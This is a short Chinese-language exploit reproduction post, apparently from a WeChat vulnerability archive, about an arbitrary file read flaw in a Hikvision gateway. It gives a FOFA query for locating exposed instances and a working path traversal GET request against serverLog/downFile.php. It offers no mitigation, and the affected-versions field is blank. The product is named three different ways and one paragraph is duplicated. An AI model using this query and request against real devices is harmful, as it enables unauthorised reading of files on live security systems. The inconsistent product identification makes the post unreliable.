海康威视视频编码设备接入网关存在任意文件读取漏洞

海康威视视频编码设备接入网关存在任意文件读取漏洞

1. 海康威视综合安防管理平台简介

微信公众号搜索：南风漏洞复现文库
该文章 南风漏洞复现文库 公众号首发

海康威视是以视频为核心的智能物联网解决方案和大数据服务提供商。 杭州海康威视系统技术有限公司流媒体管理服务器存在任意文件读取漏洞。

2.漏洞描述

海康威视是以视频为核心的智能物联网解决方案和大数据服务提供商。 杭州海康威视系统技术有限公司流媒体管理服务器存在任意文件读取漏洞。

3.影响版本

4.fofa 查询语句

app=“HIKVISION-综合安防管理平台”

5.漏洞复现

漏洞链接：
http://127.0.0.1/serverLog/downFile.php?fileName=…/web/html/serverLog/downFile.php
漏洞数据包如下:

GET /serverLog/downFile.php?fileName=../web/html/serverLog/downFile.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 127.0.0.1